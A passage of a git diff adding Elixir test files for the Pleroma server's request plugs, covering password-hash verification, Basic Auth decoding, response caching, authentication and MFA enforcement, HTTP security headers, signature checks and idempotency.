hash", %{conn: conn} do + user = insert(:user, password_hash: Bcrypt.hash_pwd_salt("123")) + assert "$2" <> _ = user.password_hash + + conn = + conn + |> assign(:auth_user, user) + |> assign(:auth_credentials, %{password: "123"}) + |> AuthenticationPlug.call(%{}) + + assert conn.assigns.user.id == conn.assigns.auth_user.id + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + + user = User.get_by_id(user.id) + assert "$pbkdf2" <> _ = user.password_hash + end + + @tag :skip_on_mac + test "with a crypt hash, it updates to a pkbdf2 hash", %{conn: conn} do + user = + insert(:user, + password_hash: + "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + ) + + conn = + conn + |> assign(:auth_user, user) + |> assign(:auth_credentials, %{password: "password"}) + |> AuthenticationPlug.call(%{}) + + assert conn.assigns.user.id == conn.assigns.auth_user.id + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + + user = User.get_by_id(user.id) + assert "$pbkdf2" <> _ = user.password_hash + end + + describe "checkpw/2" do + test "check pbkdf2 hash" do + hash = + "$pbkdf2-sha512$160000$loXqbp8GYls43F0i6lEfIw$AY.Ep.2pGe57j2hAPY635sI/6w7l9Q9u9Bp02PkPmF3OrClDtJAI8bCiivPr53OKMF7ph6iHhN68Rom5nEfC2A" + + assert AuthenticationPlug.checkpw("test-password", hash) + refute AuthenticationPlug.checkpw("test-password1", hash) + end + + @tag :skip_on_mac + test "check sha512-crypt hash" do + hash = + "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + + assert AuthenticationPlug.checkpw("password", hash) + end + + test "check bcrypt hash" do + hash = "$2a$10$uyhC/R/zoE1ndwwCtMusK.TLVzkQ/Ugsbqp3uXI.CTTz0gBw.24jS" + + assert AuthenticationPlug.checkpw("password", hash) + refute AuthenticationPlug.checkpw("password1", hash) + end + + test "it returns false when hash invalid" do + hash = + "psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + + assert capture_log(fn -> + refute Pleroma.Plugs.AuthenticationPlug.checkpw("password", hash) + end) =~ "[error] Password hash not recognized" + end + end +end diff --git a/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs new file mode 100644 index 000000000..49f5ea238 --- /dev/null +++ b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.BasicAuthDecoderPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.BasicAuthDecoderPlug + + defp basic_auth_enc(username, password) do + "Basic " <> Base.encode64("#{username}:#{password}") + end + + test "it puts the decoded credentials into the assigns", %{conn: conn} do + header = basic_auth_enc("moonman", "iloverobek") + + conn = + conn + |> put_req_header("authorization", header) + |> BasicAuthDecoderPlug.call(%{}) + + assert conn.assigns[:auth_credentials] == %{ + username: "moonman", + password: "iloverobek" + } + end + + test "without a authorization header it doesn't do anything", %{conn: conn} do + ret_conn = + conn + |> BasicAuthDecoderPlug.call(%{}) + + assert conn == ret_conn + end +end diff --git a/test/pleroma/web/plugs/cache_control_test.exs b/test/pleroma/web/plugs/cache_control_test.exs new file mode 100644 index 000000000..fcf3d2be8 --- /dev/null +++ b/test/pleroma/web/plugs/cache_control_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.CacheControlTest do + use Pleroma.Web.ConnCase + alias Plug.Conn + + test "Verify Cache-Control header on static assets", %{conn: conn} do + conn = get(conn, "/index.html") + + assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"] + end + + test "Verify Cache-Control header on the API", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(conn, "cache-control") == ["max-age=0, private, must-revalidate"] + end +end diff --git a/test/pleroma/web/plugs/cache_test.exs b/test/pleroma/web/plugs/cache_test.exs new file mode 100644 index 000000000..105b170f0 --- /dev/null +++ b/test/pleroma/web/plugs/cache_test.exs @@ -0,0 +1,186 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.CacheTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.Cache + + @miss_resp {200, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "cofe/hot; charset=utf-8"}, + {"x-cache", "MISS from Pleroma"} + ], "cofe"} + + @hit_resp {200, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "cofe/hot; charset=utf-8"}, + {"x-cache", "HIT from Pleroma"} + ], "cofe"} + + @ttl 5 + + setup do + Cachex.clear(:web_resp_cache) + :ok + end + + test "caches a response" do + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert_raise(Plug.Conn.AlreadySentError, fn -> + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end) + + assert @hit_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> sent_resp() + end + + test "ttl is set" do + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: @ttl}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: @ttl}) + |> sent_resp() + + :timer.sleep(@ttl + 1) + + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: @ttl}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "set ttl via conn.assigns" do + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> assign(:cache_ttl, @ttl) + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> sent_resp() + + :timer.sleep(@ttl + 1) + + assert @miss_resp == + conn(:get, "/") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "ignore query string when `query_params` is false" do + assert @miss_resp == + conn(:get, "/?cofe") + |> Cache.call(%{query_params: false, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/?cofefe") + |> Cache.call(%{query_params: false, ttl: nil}) + |> sent_resp() + end + + test "take query string into account when `query_params` is true" do + assert @miss_resp == + conn(:get, "/?cofe") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @miss_resp == + conn(:get, "/?cofefe") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "take specific query params into account when `query_params` is list" do + assert @miss_resp == + conn(:get, "/?a=1&b=2&c=3&foo=bar") + |> fetch_query_params() + |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + + assert @hit_resp == + conn(:get, "/?bar=foo&c=3&b=2&a=1") + |> fetch_query_params() + |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) + |> sent_resp() + + assert @miss_resp == + conn(:get, "/?bar=foo&c=3&b=2&a=2") + |> fetch_query_params() + |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "ignore not GET requests" do + expected = + {200, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "cofe/hot; charset=utf-8"} + ], "cofe"} + + assert expected == + conn(:post, "/") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("cofe/hot") + |> send_resp(:ok, "cofe") + |> sent_resp() + end + + test "ignore non-successful responses" do + expected = + {418, + [ + {"cache-control", "max-age=0, private, must-revalidate"}, + {"content-type", "tea/iced; charset=utf-8"} + ], "🥤"} + + assert expected == + conn(:get, "/cofe") + |> Cache.call(%{query_params: true, ttl: nil}) + |> put_resp_content_type("tea/iced") + |> send_resp(:im_a_teapot, "🥤") + |> sent_resp() + end +end diff --git a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs new file mode 100644 index 000000000..b87f4e103 --- /dev/null +++ b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.User + + describe "without :if_func / :unless_func options" do + test "it halts if user is NOT assigned", %{conn: conn} do + conn = EnsureAuthenticatedPlug.call(conn, %{}) + + assert conn.status == 403 + assert conn.halted == true + end + + test "it continues if a user is assigned", %{conn: conn} do + conn = assign(conn, :user, %User{}) + ret_conn = EnsureAuthenticatedPlug.call(conn, %{}) + + refute ret_conn.halted + end + end + + test "it halts if user is assigned and MFA enabled", %{conn: conn} do + conn = + conn + |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: true}}) + |> assign(:auth_credentials, %{password: "xd-42"}) + |> EnsureAuthenticatedPlug.call(%{}) + + assert conn.status == 403 + assert conn.halted == true + + assert conn.resp_body == + "{\"error\":\"Two-factor authentication enabled, you must use a access token.\"}" + end + + test "it continues if user is assigned and MFA disabled", %{conn: conn} do + conn = + conn + |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: false}}) + |> assign(:auth_credentials, %{password: "xd-42"}) + |> EnsureAuthenticatedPlug.call(%{}) + + refute conn.status == 403 + refute conn.halted + end + + describe "with :if_func / :unless_func options" do + setup do + %{ + true_fn: fn _conn -> true end, + false_fn: fn _conn -> false end + } + end + + test "it continues if a user is assigned", %{conn: conn, true_fn: true_fn, false_fn: false_fn} do + conn = assign(conn, :user, %User{}) + refute EnsureAuthenticatedPlug.call(conn, if_func: true_fn).halted + refute EnsureAuthenticatedPlug.call(conn, if_func: false_fn).halted + refute EnsureAuthenticatedPlug.call(conn, unless_func: true_fn).halted + refute EnsureAuthenticatedPlug.call(conn, unless_func: false_fn).halted + end + + test "it continues if a user is NOT assigned but :if_func evaluates to `false`", + %{conn: conn, false_fn: false_fn} do + ret_conn = EnsureAuthenticatedPlug.call(conn, if_func: false_fn) + refute ret_conn.halted + end + + test "it continues if a user is NOT assigned but :unless_func evaluates to `true`", + %{conn: conn, true_fn: true_fn} do + ret_conn = EnsureAuthenticatedPlug.call(conn, unless_func: true_fn) + refute ret_conn.halted + end + + test "it halts if a user is NOT assigned and :if_func evaluates to `true`", + %{conn: conn, true_fn: true_fn} do + conn = EnsureAuthenticatedPlug.call(conn, if_func: true_fn) + + assert conn.status == 403 + assert conn.halted == true + end + + test "it halts if a user is NOT assigned and :unless_func evaluates to `false`", + %{conn: conn, false_fn: false_fn} do + conn = EnsureAuthenticatedPlug.call(conn, unless_func: false_fn) + + assert conn.status == 403 + assert conn.halted == true + end + end +end diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs new file mode 100644 index 000000000..9cd5bc715 --- /dev/null +++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Config + alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.User + + setup do: clear_config([:instance, :public]) + + test "it halts if not public and no user is assigned", %{conn: conn} do + Config.put([:instance, :public], false) + + conn = + conn + |> EnsurePublicOrAuthenticatedPlug.call(%{}) + + assert conn.status == 403 + assert conn.halted == true + end + + test "it continues if public", %{conn: conn} do + Config.put([:instance, :public], true) + + ret_conn = + conn + |> EnsurePublicOrAuthenticatedPlug.call(%{}) + + refute ret_conn.halted + end + + test "it continues if a user is assigned, even if not public", %{conn: conn} do + Config.put([:instance, :public], false) + + conn = + conn + |> assign(:user, %User{}) + + ret_conn = + conn + |> EnsurePublicOrAuthenticatedPlug.call(%{}) + + refute ret_conn.halted + end +end diff --git a/test/pleroma/web/plugs/ensure_user_key_plug_test.exs b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs new file mode 100644 index 000000000..474510101 --- /dev/null +++ b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.EnsureUserKeyPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.EnsureUserKeyPlug + + test "if the conn has a user key set, it does nothing", %{conn: conn} do + conn = + conn + |> assign(:user, 1) + + ret_conn = + conn + |> EnsureUserKeyPlug.call(%{}) + + assert conn == ret_conn + end + + test "if the conn has no key set, it sets it to nil", %{conn: conn} do + conn = + conn + |> EnsureUserKeyPlug.call(%{}) + + assert Map.has_key?(conn.assigns, :user) + end +end diff --git a/test/pleroma/web/plugs/federating_plug_test.exs b/test/pleroma/web/plugs/federating_plug_test.exs new file mode 100644 index 000000000..a39fe8adb --- /dev/null +++ b/test/pleroma/web/plugs/federating_plug_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.FederatingPlugTest do + use Pleroma.Web.ConnCase + + setup do: clear_config([:instance, :federating]) + + test "returns and halt the conn when federating is disabled" do + Pleroma.Config.put([:instance, :federating], false) + + conn = + build_conn() + |> Pleroma.Web.FederatingPlug.call(%{}) + + assert conn.status == 404 + assert conn.halted + end + + test "does nothing when federating is enabled" do + Pleroma.Config.put([:instance, :federating], true) + + conn = + build_conn() + |> Pleroma.Web.FederatingPlug.call(%{}) + + refute conn.status + refute conn.halted + end +end diff --git a/test/pleroma/web/plugs/http_security_plug_test.exs b/test/pleroma/web/plugs/http_security_plug_test.exs new file mode 100644 index 000000000..2297e3dac --- /dev/null +++ b/test/pleroma/web/plugs/http_security_plug_test.exs @@ -0,0 +1,140 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Plug.Conn + + describe "http security enabled" do + setup do: clear_config([:http_security, :enabled], true) + + test "it sends CSP headers when enabled", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + refute Conn.get_resp_header(conn, "x-xss-protection") == [] + refute Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] + refute Conn.get_resp_header(conn, "x-frame-options") == [] + refute Conn.get_resp_header(conn, "x-content-type-options") == [] + refute Conn.get_resp_header(conn, "x-download-options") == [] + refute Conn.get_resp_header(conn, "referrer-policy") == [] + refute Conn.get_resp_header(conn, "content-security-policy") == [] + end + + test "it sends STS headers when enabled", %{conn: conn} do + clear_config([:http_security, :sts], true) + + conn = get(conn, "/api/v1/instance") + + refute Conn.get_resp_header(conn, "strict-transport-security") == [] + refute Conn.get_resp_header(conn, "expect-ct") == [] + end + + test "it does not send STS headers when disabled", %{conn: conn} do + clear_config([:http_security, :sts], false) + + conn = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(conn, "strict-transport-security") == [] + assert Conn.get_resp_header(conn, "expect-ct") == [] + end + + test "referrer-policy header reflects configured value", %{conn: conn} do + resp = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(resp, "referrer-policy") == ["same-origin"] + + clear_config([:http_security, :referrer_policy], "no-referrer") + + resp = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(resp, "referrer-policy") == ["no-referrer"] + end + + test "it sends `report-to` & `report-uri` CSP response headers", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + [csp] = Conn.get_resp_header(conn, "content-security-policy") + + assert csp =~ ~r|report-uri https://endpoint.com;report-to csp-endpoint;| + + [reply_to] = Conn.get_resp_header(conn, "reply-to") + + assert reply_to == + "{\"endpoints\":[{\"url\":\"https://endpoint.com\"}],\"group\":\"csp-endpoint\",\"max-age\":10886400}" + end + + test "default values for img-src and media-src with disabled media proxy", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + [csp] = Conn.get_resp_header(conn, "content-security-policy") + assert csp =~ "media-src 'self' https:;" + assert csp =~ "img-src 'self' data: blob: https:;" + end + end + + describe "img-src and media-src" do + setup do + clear_config([:http_security, :enabled], true) + clear_config([:media_proxy, :enabled], true) + clear_config([:media_proxy, :proxy_opts, :redirect_on_failure], false) + end + + test "media_proxy with base_url", %{conn: conn} do + url = "https://example.com" + clear_config([:media_proxy, :base_url], url) + assert_media_img_src(conn, url) + end + + test "upload with base url", %{conn: conn} do + url = "https://example2.com" + clear_config([Pleroma.Upload, :base_url], url) + assert_media_img_src(conn, url) + end + + test "with S3 public endpoint", %{conn: conn} do + url = "https://example3.com" + clear_config([Pleroma.Uploaders.S3, :public_endpoint], url) + assert_media_img_src(conn, url) + end + + test "with captcha endpoint", %{conn: conn} do + clear_config([Pleroma.Captcha.Mock, :endpoint], "https://captcha.com") + assert_media_img_src(conn, "https://captcha.com") + end + + test "with media_proxy whitelist", %{conn: conn} do + clear_config([:media_proxy, :whitelist], ["https://example6.com", "https://example7.com"]) + assert_media_img_src(conn, "https://example7.com https://example6.com") + end + + # TODO: delete after removing support bare domains for media proxy whitelist + test "with media_proxy bare domains whitelist (deprecated)", %{conn: conn} do + clear_config([:media_proxy, :whitelist], ["example4.com", "example5.com"]) + assert_media_img_src(conn, "example5.com example4.com") + end + end + + defp assert_media_img_src(conn, url) do + conn = get(conn, "/api/v1/instance") + [csp] = Conn.get_resp_header(conn, "content-security-policy") + assert csp =~ "media-src 'self' #{url};" + assert csp =~ "img-src 'self' data: blob: #{url};" + end + + test "it does not send CSP headers when disabled", %{conn: conn} do + clear_config([:http_security, :enabled], false) + + conn = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(conn, "x-xss-protection") == [] + assert Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] + assert Conn.get_resp_header(conn, "x-frame-options") == [] + assert Conn.get_resp_header(conn, "x-content-type-options") == [] + assert Conn.get_resp_header(conn, "x-download-options") == [] + assert Conn.get_resp_header(conn, "referrer-policy") == [] + assert Conn.get_resp_header(conn, "content-security-policy") == [] + end +end diff --git a/test/pleroma/web/plugs/http_signature_plug_test.exs b/test/pleroma/web/plugs/http_signature_plug_test.exs new file mode 100644 index 000000000..e6cbde803 --- /dev/null +++ b/test/pleroma/web/plugs/http_signature_plug_test.exs @@ -0,0 +1,89 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do + use Pleroma.Web.ConnCase + alias Pleroma.Web.Plugs.HTTPSignaturePlug + + import Plug.Conn + import Phoenix.Controller, only: [put_format: 2] + import Mock + + test "it call HTTPSignatures to check validity if the actor sighed it" do + params = %{"actor" => "http://mastodon.example.org/users/admin"} + conn = build_conn(:get, "/doesntmattter", params) + + with_mock HTTPSignatures, validate_conn: fn _ -> true end do + conn = + conn + |> put_req_header( + "signature", + "keyId=\"http://mastodon.example.org/users/admin#main-key" + ) + |> put_format("activity+json") + |> HTTPSignaturePlug.call(%{}) + + assert conn.assigns.valid_signature == true + assert conn.halted == false + assert called(HTTPSignatures.validate_conn(:_)) + end + end + + describe "requires a signature when `authorized_fetch_mode` is enabled" do + setup do + Pleroma.Config.put([:activitypub, :authorized_fetch_mode], true) + + on_exit(fn -> + Pleroma.Config.put([:activitypub, :authorized_fetch_mode], false) + end) + + params = %{"actor" => "http://mastodon.example.org/users/admin"} + conn = build_conn(:get, "/doesntmattter", params) |> put_format("activity+json") + + [conn: conn] + end + + test "when signature header is present", %{conn: conn} do + with_mock HTTPSignatures, validate_conn: fn _ -> false end do + conn = + conn + |> put_req_header( + "signature", + "keyId=\"http://mastodon.example.org/users/admin#main-key" + ) + |> HTTPSignaturePlug.call(%{}) + + assert conn.assigns.valid_signature == false + assert conn.halted == true + assert conn.status == 401 + assert conn.state == :sent + assert conn.resp_body == "Request not signed" + assert called(HTTPSignatures.validate_conn(:_)) + end + + with_mock HTTPSignatures, validate_conn: fn _ -> true end do + conn = + conn + |> put_req_header( + "signature", + "keyId=\"http://mastodon.example.org/users/admin#main-key" + ) + |> HTTPSignaturePlug.call(%{}) + + assert conn.assigns.valid_signature == true + assert conn.halted == false + assert called(HTTPSignatures.validate_conn(:_)) + end + end + + test "halts the connection when `signature` header is not present", %{conn: conn} do + conn = HTTPSignaturePlug.call(conn, %{}) + assert conn.assigns[:valid_signature] == nil + assert conn.halted == true + assert conn.status == 401 + assert conn.state == :sent + assert conn.resp_body == "Request not signed" + end + end +end diff --git a/test/pleroma/web/plugs/idempotency_plug_test.exs b/test/pleroma/web/plugs/idempotency_plug_test.exs new file mode 100644 index 000000000..c7b8abcaf --- /dev/null +++ b/test/pleroma/web/plugs/idempotency_plug_test.exs @@ -0,0 +1,110 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.IdempotencyPlugTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.IdempotencyPlug + alias Plug.Conn + + test "returns result from cache" do + key = "test1" + orig_request_id = "test1" + second_request_id = "test2" + body = "testing" + status = 200 + + :post + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> Conn.put_resp_header("x-request-id", orig_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + conn = + :post + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> Conn.put_resp_header("x-request-id", second_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + + assert_raise Conn.AlreadySentError, fn -> + Conn.send_resp(conn, :im_a_teapot, "no cofe") + end + + assert conn.resp_body == body + assert conn.status == status + + assert [^second_request_id] = Conn.get_resp_header(conn, "x-request-id") + assert [^orig_request_id] = Conn.get_resp_header(conn, "x-original-request-id") + assert [^key] = Conn.get_resp_header(conn, "idempotency-key") + assert ["true"] = Conn.get_resp_header(conn, "idempotent-replayed") + assert ["application/json; charset=utf-8"] = Conn.get_resp_header(conn, "content-type") + end + + test "pass conn downstream if the cache not found" do + key = "test2" + orig_request_id = "test3" + body = "testing" + status = 200 + + conn = + :post + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> Conn.put_resp_header("x-request-id", orig_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert conn.resp_body == body + assert conn.status == status + + assert [] = Conn.get_resp_header(conn, "idempotent-replayed") + assert [^key] = Conn.get_resp_header(conn, "idempotency-key") + end + + test "passes conn downstream if idempotency is not present in headers" do + orig_request_id = "test4" + body = "testing" + status = 200 + + conn = + :post + |> conn("/cofe") + |> Conn.put_resp_header("x-request-id", orig_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert [] = Conn.get_resp_header(conn, "idempotency-key") + end + + test "doesn't work with GET/DELETE" do + key = "test3" + body = "testing" + status = 200 + + conn = + :get + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert [] = Conn.get_resp_header(conn, "idempotency-key") + + conn = + :delete + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert [] = Conn.get_resp_header(conn, "idempotency-key") + end +end diff --git a/test/pleroma/web/plugs/instance_static_test.exs b/test/pleroma/web/plugs/instance_static_test.exs new file mode 100644 index 000000000..5b30011d3 --- /dev/null +++ b/test/pleroma/web/plugs/instance_static_test.exs @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.InstanceStaticTest do + use Pleroma.Web.ConnCase + + @dir "test/tmp/instance_static" + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + test "overrides index" do + bundled_index = get(build_conn(), "/") + refute html_response(bundled_index, 200) == "hello world" + + File.write!(@dir <> "/index.html", "hello world") + + index = get(build_conn(), "/") + assert html_response(index, 200) == "hello world" + end + + test "also overrides frontend files", %{conn: conn} do + name = "pelmora" + ref = "uguu" + + clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) + + bundled_index = get(conn, "/") + refute html_response(bundled_index, 200) == "from frontend plug" + + path = "#{@dir}/frontends/#{name}/#{ref}" + File.mkdir_p!(path) + File.write!("#{path}/index.html", "from frontend plug") + + index = get(conn, "/") + assert html_response(index, 200) == "from frontend plug" + + File.write!(@dir <> "/index.html", "from instance static") + + index = get(conn, "/") + assert html_response(index, 200) == "from instance static" + end + + test "overrides any file in static/static" do + bundled_index = get(build_conn(), "/static/terms-of-service.html") + + assert html_response(bundled_index, 200) == + File.read!("priv/static/static/terms-of-service.html") + + File.mkdir!(@dir <> "/static") + File.write!(@dir <> "/static/terms-of-service.html", "plz be kind") + + index = get(build_conn(), "/static/terms-of-service.html") + assert html_response(index, 200) == "plz be kind" + + File.write!(@dir <> "/static/kaniini.html", "

rabbit hugs as a service

") + index = get(build_conn(), "/static/kaniini.html") + assert html_response(index, 200) == "

rabbit hugs as a service

" + end +end diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs new file mode 100644 index 000000000..fbb25ee7b --- /dev/null +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -0,0 +1,82 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Plugs.LegacyAuthenticationPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + alias Pleroma.User + + setup do + user = + insert(:user, + password: "password", + password_hash: + "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + ) + + %{user: user} + end + + test "it does nothing if a user is assigned", %{conn: conn, user: user} do + conn = + conn + |> assign(:auth_credentials, %{username: "dude", password: "password"}) + |> assign(:auth_user, user) + |> assign(:user, %User{}) + + ret_conn = + conn + |> LegacyAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end + + @tag :skip_on_mac + test "if `auth_user` is present and password is correct, " <> + "it authenticates the user, resets the password, marks OAuthScopesPlug as skipped", + %{ + conn: conn, + user: user + } do + conn = + conn + |> assign(:auth_credentials, %{username: "dude", password: "password"}) + |> assign(:auth_user, user) + + conn = LegacyAuthenticationPlug.call(conn, %{}) + + assert conn.assigns.user.id == user.id + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + + @tag :skip_on_mac + test "it does nothing if the password is wrong", %{ + conn: conn, + user: user + } do + conn = + conn + |> assign(:auth_credentials, %{username: "dude", password: "wrong_password"}) + |> assign(:auth_user, user) + + ret_conn = + conn + |> LegacyAuthenticationPlug.call(%{}) + + assert conn == ret_conn + end + + test "with no credentials or user it does nothing", %{conn: conn} do + ret_conn = + conn + |> LegacyAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end +end diff --git a/test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs b/test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs new file mode 100644 index 000000000..0ad3c2929 --- /dev/null +++ b/test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors 